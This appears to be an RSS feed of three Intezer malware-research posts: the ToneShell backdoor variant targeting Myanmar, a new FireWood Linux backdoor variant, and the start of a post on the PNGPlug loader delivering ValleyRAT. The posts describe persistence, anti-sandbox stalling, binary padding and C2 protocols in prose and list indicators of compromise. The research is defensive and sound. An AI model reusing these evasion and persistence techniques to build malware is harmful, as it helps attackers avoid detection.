<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Intezer Research – Apt</title><link>https://research.intezer.com/tags/apt/</link><description>Recent content in Apt on Intezer Research</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Wed, 10 Sep 2025 00:00:00 +0000</lastBuildDate><atom:link href="https://research.intezer.com/tags/apt/index.xml" rel="self" type="application/rss+xml"/><item><title>Frankenstein Variant of the ToneShell Backdoor Targeting Myanmar</title><link>https://research.intezer.com/blog/2025/09/frankenstein-variant-of-the-toneshell-backdoor-targeting-myanmar/</link><pubDate>Wed, 10 Sep 2025 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2025/09/frankenstein-variant-of-the-toneshell-backdoor-targeting-myanmar/</guid><description>
&lt;p&gt;ToneShell is a lightweight backdoor tied to the China-nexus group Mustang
Panda. Typically delivered via DLL sideloading inside compressed archives with
legitimate signed executables and often spread through cloud-hosted lures.
&lt;a href="https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-toneshell-and-starproxy-p1"target="_blank" rel="noopener"&gt;Zscaler’s&lt;/a&gt;
2025 analysis described updates to its FakeTLS C2 (shifting from TLS 1.2- to
1.3-style headers), use of GUID-based host IDs, a rolling-XOR scheme, and a
minimal command set for file staging and interactive shell access. Notably,
some of this activity was observed in Myanmar, a region of strategic importance
to China. Targeting Myanmar is particularly interesting as it reflects China’s
broader geopolitical interests, spanning border security, infrastructure
projects, and political developments, and highlights how cyber operations are
leveraged to maintain influence in neighboring states.&lt;/p&gt;
&lt;p&gt;This blog is a technical analysis of another variant of the backdoor. While
this variant does not introduce major new features, it is worth highlighting
the anti-analysis techniques it employs and the new indicators that can support
threat hunting and detection. In addition, the continued targeting of Myanmar
underscores China’s sustained use of cyber operations to maintain its interests
abroad.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;As previously documented, ToneShell is a dll that is sideloded by a legitimate
executable, usually bundled in the archive file. In this case it is a ZIP file,
named: TNLA နှင့် အခြားတော်လှန်ရေးအင်အားစုမျာ. Which translate to: TNLA and
other revolutionary forces.&lt;/p&gt;
&lt;p&gt;sha256: &lt;code&gt;1272a0853651069ed4dc505007e8525f99e1454f9e033bcc2e58d60fdafa4f0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The backdoor is a DLL named: SkinH.dll, compiled on 2025-07-14 22:38:08.&lt;/p&gt;
&lt;p&gt;sha256:
&lt;a href="https://analyze.intezer.com/files/e7b29611c789a6225aebbc9fee3710a57b51537693cb2ec16e2177c22392b546?utm_campaign=research-blog&amp;amp;utm_content=frankenstein-variant-of-the-toneshell-backdoor-targeting-myanmar&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;e7b29611c789a6225aebbc9fee3710a57b51537693cb2ec16e2177c22392b546&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2025/09/frankenstein-variant-of-the-toneshell-backdoor-targeting-myanmar/images/fig1.png" title="Code reuse with ToneShell" alt="Showing amount shared code with other ToneShell samples" loading="lazy" /&gt;
&lt;figcaption&gt;Code reuse with ToneShell&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The backdoor first checks the current module path for the string
&lt;code&gt;Google\DriveFS\Scratch&lt;/code&gt;. If not found, it enumerates processes to identify
the parent process, retrieves its image path, and verifies whether it contains
&lt;strong&gt;GoogleDrive&lt;/strong&gt;. If found, the backdoor will terminate its execution. This
check might be an attempt by the threat actor to prevent infecting themselves.
If this validation fails, the code enforces a single-instance policy using a
named mutex, &lt;code&gt;Global\SingleCorporation12AD8B&lt;/code&gt;. It attempts to create the
mutex, storing the handle globally and setting a flag to indicate success or
failure. If creation fails or the mutex already exists, it releases any handles
and marks it as not created. Next, the backdoor checks its persistence
location. It compares its module path with the user profile directory
(CSIDL_APPDATA, 0x1A). If the binary is not under the user profile, it copies
itself and the following files: msvcr100.dll, msvcp100.dll, mfc100.dll to a new
folder it creates. The new directory name consists of a 6-character random
uppercase folder name (e.g., &lt;code&gt;C:\Users\&amp;lt;user&amp;gt;\AppData\&amp;lt;random-6-chars&amp;gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2025/09/frankenstein-variant-of-the-toneshell-backdoor-targeting-myanmar/images/fig2.png" title="The function that copies the DLLs to a new folder in AppData" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;The function that copies the DLLs to a new folder in AppData&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Once installed, it attempts to spin up the Task Scheduler COM service, connect
to the local scheduler, open the root folder (&lt;code&gt;&amp;quot;\&amp;quot;&lt;/code&gt;) and obtain an
IRegisteredTask for a task named dokanctl. If the task doesn’t exist, it will
create it using RegisterTaskDefinition. The task is set to execute every
minute, it sets the execution path to the folder in AppData created earlier:
&lt;code&gt;%APPDATA%\&amp;lt;random-6-chars&amp;gt;\svchosts.exe&lt;/code&gt;, and sets it as the action Path. The
task is registered in the root folder with the name &lt;code&gt;dokanctl&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2025/09/frankenstein-variant-of-the-toneshell-backdoor-targeting-myanmar/images/fig3.png" title="Task creation" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Task creation&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;If the backdoor is already under the user profile, it performs junk arithmetic
before entering its C2 loop, followed by a bounded timing/zero-check loop that
appears to serve as anti-analysis noise without affecting the main flow.&lt;/p&gt;
&lt;h3&gt;API Function Hashing&lt;span class="hx:absolute hx:-mt-20" id="api-function-hashing"&gt;&lt;/span&gt;
&lt;a href="#api-function-hashing" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The malware uses a custom API-resolving scheme based on a simple rolling hash,
applying it to module and function names instead of storing them in cleartext.
This technique, previously analyzed in previous blogs, is a common evasion
method seen in different malware types. With the
&lt;a href="https://github.com/OALabs/hashdb/blob/main/algorithms/tonepipeshell.py"target="_blank" rel="noopener"&gt;HashDB project&lt;/a&gt;,
resolving these hashes back to the original imported functions is
straightforward, making analysis and detection easier.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2025/09/frankenstein-variant-of-the-toneshell-backdoor-targeting-myanmar/images/fig4.png" title="Hash calculation" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Hash calculation&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2025/09/frankenstein-variant-of-the-toneshell-backdoor-targeting-myanmar/images/fig5.png" title="Resolved Windows API functions" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Resolved Windows API functions&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Anti-Analysis and Anti-Sandboxing&lt;span class="hx:absolute hx:-mt-20" id="anti-analysis-and-anti-sandboxing"&gt;&lt;/span&gt;
&lt;a href="#anti-analysis-and-anti-sandboxing" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;This ToolShell variant employs several stalling and anti-sandboxing tricks
designed to waste time, confuse automated analysis, and evade lightweight
sandboxes. These include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Repeated file churn: creating, writing, closing, and deleting a temporary
file in a loop with Sleep(100) delays, which burns execution time and
stresses filesystem emulation.&lt;/li&gt;
&lt;li&gt;Randomized sleep loops: several loops sleep for pseudo-random intervals
ranging from ~800 ms to over a second per iteration, accumulating 20+ seconds
of startup delay before meaningful behavior begins.&lt;/li&gt;
&lt;li&gt;Tick count checks: uses GetTickCount64() combined with jittered sleeps,
waiting until at least 10 seconds of wall-clock time has elapsed. This
ensures that emulators that don’t advance the system clock realistically can
get stuck.&lt;/li&gt;
&lt;li&gt;Opaque string comparisons: slides across a large embedded wide-string buffer,
repeatedly calling lstrcmpW() between overlapping substrings until a break
condition. The comparison results are discarded; the loop simply consumes
cycles and obfuscates control flow.&lt;/li&gt;
&lt;li&gt;Nonsense randomization: calculates values like 0xBABE or 0xCAFE via contrived
branches using rand(). These values are not security checks, but serve as
junk arithmetic to make the code harder to follow.&lt;/li&gt;
&lt;li&gt;Decoy API use: occasionally calls APIs such as OutputDebugStringA and sets
LastError to unusual constants (0xBADF00D), further muddying behavior without
altering core logic.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2025/09/frankenstein-variant-of-the-toneshell-backdoor-targeting-myanmar/images/fig6.png" title="File creation loops" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;File creation loops&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Notably, the large embedded string buffers used in the comparison loop contain
text copied from
&lt;a href="https://openai.com/index/introducing-4o-image-generation/#:~:text=From%20the%20first%20cave%20paintings%20to%20modern%20infographics%2C%20humans%20have%20used%20visual%20imagery%20to%20communicate%2C%20persuade%2C%20and%20analyze%E2%80%94not%20just%20to%20decorate."target="_blank" rel="noopener"&gt;OpenAI’s blog&lt;/a&gt;
on image generation and from &lt;a href="https://www.pega.com/ai-innovation"target="_blank" rel="noopener"&gt;Pega AI’s&lt;/a&gt;
website. Pega AI refers to the artificial intelligence features integrated into
the Pega platform, a software suite for workflow automation and customer
relationship management. The backdoor does not use this content functionally;
instead, it serves as filler to inflate the binary and supply meaningless
strings for comparison.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2025/09/frankenstein-variant-of-the-toneshell-backdoor-targeting-myanmar/images/fig7.png" title="Text taken from PegaAI’s website" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Text taken from PegaAI’s website&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2025/09/frankenstein-variant-of-the-toneshell-backdoor-targeting-myanmar/images/fig8.png" title="Text taken from OpenAI’s website" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Text taken from OpenAI’s website&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Together, these techniques do not detect debuggers directly; instead, they
stall execution, pollute control flow with junk work, and frustrate automated
sandboxing systems that expect short-lived, straightforward malware runs.&lt;/p&gt;
&lt;h3&gt;GUID Creation&lt;span class="hx:absolute hx:-mt-20" id="guid-creation"&gt;&lt;/span&gt;
&lt;a href="#guid-creation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Similar to earlier versions, this variant of ToneShell generates a unique
identifier for each infected machine. It first attempts to check if one was
already created by reading 16 bytes from &lt;code&gt;C:\ProgramData\SystemRuntimeLag.inc&lt;/code&gt;.
The malware creates a new seed if the file is missing, unreadable, or does not
provide exactly 16 bytes. The primary method is to generate a GUID via
CoCreateGuid and use it as the seed. If that fails, it falls back to producing
16 bytes using an internal linear congruential generator (LCG) seeded from the
current PRNG state. Once a new seed is generated, it is written back to the
designated file path to ensure persistence across executions.&lt;/p&gt;
&lt;p&gt;This logic is similar to Zscelar’s blog about the second backdoor variant.&lt;/p&gt;
&lt;h3&gt;Networking&lt;span class="hx:absolute hx:-mt-20" id="networking"&gt;&lt;/span&gt;
&lt;a href="#networking" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The malware sets up a socket with a C2 at the address:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;146.70.29[.]229:443&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The malware’s network protocol wraps its messages in a TLS-like record header
to blend in with legitimate traffic. Each packet begins with the fixed bytes 17
03 03 (TLS 1.2 Application Data) followed by a two-byte length field, but only
the low byte is honored, effectively capping payloads at 255 bytes. The 5-byte
header is read into a temporary stack buffer and discarded; only the payload
bytes are stored in the context structure’s receive buffer starting at offset
0.&lt;/p&gt;
&lt;p&gt;Once the payload is received, the malware XOR-decodes it in place with a
256-byte rolling key. The first decoded byte is treated as a “type/status”
field, the second as an additional code, and the remainder (len-2 bytes) as the
message body. The decoded buffer pointer is then saved in the structure for
later use. This design produces a simple packet format: [TLS-like
header][XOR-obfuscated type | code | body…], with the header stripped before
the data is available to the rest of the malware.&lt;/p&gt;
&lt;p&gt;Interestingly, while the GUID generation logic in this sample aligns with the
first version of ToneShell described by Zscaler, the communication protocol
remains identical to the second version. Combined with the anti-analysis
techniques and the use of text copied from AI platforms, this sample stands out
as a hybrid variant.&lt;/p&gt;
&lt;h3&gt;Pivoting on The C2 Address&lt;span class="hx:absolute hx:-mt-20" id="pivoting-on-the-c2-address"&gt;&lt;/span&gt;
&lt;a href="#pivoting-on-the-c2-address" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pivoting on the C2 address, we were also able to find another variant:&lt;/p&gt;
&lt;p&gt;sha256: &lt;code&gt;a58868b3d50b775de99278eeb14da8b7409b165aa45313c6d9fa35ac30d2cda2&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This variant was compiled on 2025-03-23 22:42:42, named node.dll. It was part
of an archive named: update.zip with the sha256:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;543024edc9f160cc1cedcffc3de52bfa656daa0ec9ed351331d97faaa67d0d99&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This variant reuses the same C2 commands and anti-analysis techniques described
above, and it stores the GUID under the same file name.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In summary, this analysis of a new ToneShell backdoor variant highlights the
evolving tactics of the Mustang Panda group, particularly their sustained
targeting of Myanmar. While not introducing revolutionary features, this
variant employs anti-analysis techniques, including elaborate stalling
mechanisms and obfuscated code. The blend of old and new elements, such as the
consistent communication protocol alongside updated GUID generation and the use
of seemingly random, copied text for filler, underscores the adaptive nature of
this threat. The continuous refinement of these evasion methods, coupled with
the geopolitical significance of the targeted region, reinforces the need for
ongoing research and threat hunting to counter cyber operations.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;ToneShell variants:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;a58868b3d50b775de99278eeb14da8b7409b165aa45313c6d9fa35ac30d2cda2&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;e7b29611c789a6225aebbc9fee3710a57b51537693cb2ec16e2177c22392b546&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Archive files:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;543024edc9f160cc1cedcffc3de52bfa656daa0ec9ed351331d97faaa67d0d99&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;1272a0853651069ed4dc505007e8525f99e1454f9e033bcc2e58d60fdafa4f0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;C2:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;146.70.29[.]229:443&lt;/code&gt;&lt;/p&gt;</description></item><item><title>Threat Bulletin: Fire in the Woods – A New Variant of FireWood</title><link>https://research.intezer.com/blog/2025/08/threat-bulletin-firewood/</link><pubDate>Wed, 13 Aug 2025 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2025/08/threat-bulletin-firewood/</guid><description>
&lt;p&gt;&lt;em&gt;A new and low-detected variant of the FireWood backdoor was discovered by
Intezer’s Research Team, with some changes in the implementation and the
configuration of the backdoor.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;FireWood is a Linux backdoor
&lt;a href="https://www.welivesecurity.com/en/eset-research/unveiling-wolfsbane-gelsemiums-linux-counterpart-to-gelsevirine/"target="_blank" rel="noopener"&gt;discovered&lt;/a&gt;
by ESET’s research team. They linked it to the long‑running &amp;ldquo;Project Wood&amp;rdquo;
malware lineage, which dates back to at least 2005 and includes usage in the
earlier Operation TooHash campaign. It functions as a remote access trojan
(RAT) on Linux systems, employing kernel‑level rootkit modules (e.g.,
usbdev.ko) and TEA‑based encryption to hide its presence, maintain persistence,
and communicate covertly with its command‑and‑control infrastructure. Once
deployed, likely via web shells left on compromised Linux desktops, it enables
attackers to execute commands, exfiltrate sensitive data such as system
information and credentials, and operate stealthily over prolonged espionage
operations. The backdoor has low confidence connections to the China-aligned
Gelsemium APT group, as the overlaps may be coincidental or reflect shared
tools across multiple groups.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;We found a new and low-detected variant of the FireWood backdoor&lt;/strong&gt;. The core
functionality of the backdoor remains the same but we did notice some changes
in the implementation and the configuration of the backdoor. It is unclear if
the kernel module was also updated as we were not able to collect it.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2025/08/threat-bulletin-firewood/images/fig1.png" title="Code analysis of the new version in Intezer." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Code analysis of the new version in Intezer.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2025/08/threat-bulletin-firewood/images/fig2.png" title="SHA256: 898a5bd86c5d99eb70088a90f1d8f90b03bd38c15a232200538d0601c888acb6" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;SHA256: 898a5bd86c5d99eb70088a90f1d8f90b03bd38c15a232200538d0601c888acb6&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Technical Analysis of New Firewood Variant&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis-of-new-firewood-variant"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis-of-new-firewood-variant" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In the older variant, execution began with an explicit permission gate, calling
&lt;code&gt;CUser::IsSuc()&lt;/code&gt;, and the process would exit if this check failed. In the newer
build, that early check is removed entirely. The new version defers any
root‑or‑kernel gating until after it daemonizes and saves its PID. To achieve
this, the code splits the former &lt;code&gt;SavePidAndCheckKernel()&lt;/code&gt; helper into two
discrete steps: an early &lt;code&gt;SavePid(pid)&lt;/code&gt;, followed later by
&lt;code&gt;CModuleControl::AutoLoad()&lt;/code&gt; and &lt;code&gt;CheckLkmLoad()&lt;/code&gt;. This separation clarifies
the startup sequence and enhances the hide‑via‑kernel‑module logic.
Additionally, rather than simply sending a stripped‑down identifier, the
updated version builds a larger buffer containing the process name,
hex‑formatted port, PID, a hardcoded “kde‑tra” process name, and a configurable
flag (or the literal “nothing”). That extra metadata is passed through
&lt;code&gt;CHideProcess::NetLinkInit()&lt;/code&gt;,
&lt;code&gt;CHideProcess::SendProcessName(&amp;amp;CHideProcess::mInstance)&lt;/code&gt;, and
&lt;code&gt;CHideProcess::Destroy()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Note the typo in the method name &amp;ldquo;Destroy&amp;rdquo;, this error also appears in the
older Firewood variant. Another typo persists in both versions in the following
error message: &amp;ldquo;Get Memory Faile&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2025/08/threat-bulletin-firewood/images/fig3.png" title="New evasion implementation and comparison of main functions" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;New evasion implementation and comparison of main functions&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;On the networking side, the older version read configuration settings that
defined both the number of days between beaconing and a &lt;code&gt;delayTime&lt;/code&gt; specifying
the interval between packets. It also used a randomized time‑window algorithm
to stagger connections. The new build collapses all of this into a
straightforward &lt;code&gt;while (true)&lt;/code&gt; loop. After waiting for the configured startup
delay, it continuously calls &lt;code&gt;ConnectToSvr()&lt;/code&gt;, sleeping briefly on failure,
until success or until the overall timer expires, then cleans up and exits. By
removing the multi‑stage scheduling and random timing logic, the connection
routine becomes more predictable and maintainable, trading temporal obfuscation
for reliable C2 reachability.&lt;/p&gt;
&lt;p&gt;Overall, the communication protocol and C2 setup remain the same; the only
significant change is that the new version no longer relies on timeouts from
the configuration.&lt;/p&gt;
&lt;p&gt;Both Firewood versions collect information about the user and the infected
machine. The new variant adds a fallback for OS detection: whereas the older
version reads distribution data from &lt;code&gt;/etc/issue&lt;/code&gt;, the new version falls back
to &lt;code&gt;/etc/issue.ne&lt;/code&gt;t if &lt;code&gt;/etc/issue&lt;/code&gt; is unavailable, parsing the data in the
same way.&lt;/p&gt;
&lt;p&gt;The backdoor defines file paths used by both itself and its kernel module. The
new variant sets paths for root users as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/usr/lib/.kde-root/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/lib/.kde-root/lib/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/lib/.kde-root/data/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/lib/.kde-root/kdeinit&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/lib/.kde-root/pid&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/init.d/rc.local&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For non-root users, it uses:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$HOME/.kde-root/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$HOME/.kde-root/lib/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$HOME/.kde-root/data/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$HOME/.kde-root/kdeinit&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$HOME/.kde-root/pid&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$HOME/.bashrc&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By contrast, the older variant for root users used:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/init.d/rc.local&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/rc.d/rc.local&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/init.d/boot.local&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And for non-root users:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$HOME/.bashrc&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The FireWood backdoor supports a number of commands documented by ESET. The new
variant removes some commands and adds others. It drops commands for changing
beacon intervals and delay times (command IDs &lt;code&gt;0x111&lt;/code&gt;, &lt;code&gt;0x113&lt;/code&gt;, &lt;code&gt;0x114&lt;/code&gt;), as these
settings are no longer used. It also removes the file-read command (ID &lt;code&gt;0x201&lt;/code&gt;).
The process‑hiding command has moved to ID &lt;code&gt;0x202&lt;/code&gt; (from &lt;code&gt;0x112&lt;/code&gt;), and the
&lt;code&gt;HideModule&lt;/code&gt; function was removed. A new command (&lt;code&gt;SetAutoKillEl&lt;/code&gt;, ID &lt;code&gt;0x160&lt;/code&gt;)
toggles or sets an “auto‑kill” feature in the agent.&lt;/p&gt;
&lt;p&gt;Besides these commands, there are also three commands that appear in both
versions and were not previously documented:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Command id &lt;code&gt;0x109&lt;/code&gt;: A command that indicates a change in the connection
configuration.&lt;/li&gt;
&lt;li&gt;Command id &lt;code&gt;0x192&lt;/code&gt;: Gets a file from the C2 and execute it using the system
function. Unlike the previously documented command id &lt;code&gt;0x185&lt;/code&gt;, this command
calls first &lt;code&gt;CFileControl::FileUp&lt;/code&gt; to receive the file from the C2.&lt;/li&gt;
&lt;li&gt;Command id &lt;code&gt;0x195&lt;/code&gt;: Exfiltration of files with the following extensions: &lt;code&gt;.v2&lt;/code&gt;,
&lt;code&gt;.k2&lt;/code&gt;, &lt;code&gt;.W2&lt;/code&gt;, and &lt;code&gt;drive.C2&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We also located an older sample submitted to VirusTotal from Iran on February
5, 2025:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;4c293309a7541edb89e3ec99c4074584328a21309e75a46d0ddb4373652ee0d6&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Additionally, we found a sample from the Philippines submitted on May 7, 2022;
its code is identical to the one we analyzed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;d7be3494b3e1722eb28f317f3b85ee68bf7ea5508aa2d5782392619e078b78af&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;New Firewood Version&lt;span class="hx:absolute hx:-mt-20" id="new-firewood-version"&gt;&lt;/span&gt;
&lt;a href="#new-firewood-version" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;898a5bd86c5d99eb70088a90f1d8f90b03bd38c15a232200538d0601c888acb6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;d7be3494b3e1722eb28f317f3b85ee68bf7ea5508aa2d5782392619e078b78af&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Old Firewood Version&lt;span class="hx:absolute hx:-mt-20" id="old-firewood-version"&gt;&lt;/span&gt;
&lt;a href="#old-firewood-version" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cff20753e36a4c942dc4dab5a91fd621a42330e17a89185a5b7262280bcd9263&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;4c293309a7541edb89e3ec99c4074584328a21309e75a46d0ddb4373652ee0d6&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Threat Bulletin: Weaponized Software Targets Chinese-Speaking Organizations</title><link>https://research.intezer.com/blog/2025/01/weaponized-software-targets-chinese/</link><pubDate>Thu, 16 Jan 2025 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2025/01/weaponized-software-targets-chinese/</guid><description>
&lt;h2&gt;Overview of the Attack&lt;span class="hx:absolute hx:-mt-20" id="overview-of-the-attack"&gt;&lt;/span&gt;
&lt;a href="#overview-of-the-attack" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Intezer Labs research team has identified a series of attacks targeting
organizations in Chinese-speaking regions like Hong Kong, Taiwan, and China
itself. These attacks utilize a multi-stage loader, which we named PNGPlug, to
deliver the ValleyRAT payload.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://bbs.kanxue.com/thread-284691.htm"target="_blank" rel="noopener"&gt;A similar attack chain is documented in this report&lt;/a&gt;,
which sheds light on the infection vector and the method of delivering the
malicious files.&lt;/p&gt;
&lt;p&gt;According to the report, the attack begins with a phishing webpage designed to
encourage victims to download a malicious MSI (Microsoft Installer) package
disguised as legitimate software.&lt;/p&gt;
&lt;p&gt;Upon execution, the installer performs two critical tasks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Deploying a benign application to maintain the illusion of legitimacy.&lt;/li&gt;
&lt;li&gt;Extracting an encrypted archive containing the malware payload.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The MSI package uses the Windows Installer’s CustomAction feature, enabling it
to execute malicious code, including running an embedded malicious DLL that
decrypts the archive (all.zip) using a hardcoded password hello202411 to
extract the core malware components:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;libcef.dll: The loader, designed with padding to inflate its size to 220MB,
helps it evade detection as many security tools skip analyzing large files.
(&lt;a href="../../../2023/05/how-hackers-use-binary-padding-to-outsmart-sandboxes/"&gt;For more information about how this technique is used in loaders, check out our recent blog post.&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;down.exe: A legitimate application used to mask malicious activities.&lt;/li&gt;
&lt;li&gt;aut.png and view.png: Files masquerading as PNG images containing encoded
malicious payloads.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Role of the PNGPlug Loader&lt;span class="hx:absolute hx:-mt-20" id="role-of-the-pngplug-loader"&gt;&lt;/span&gt;
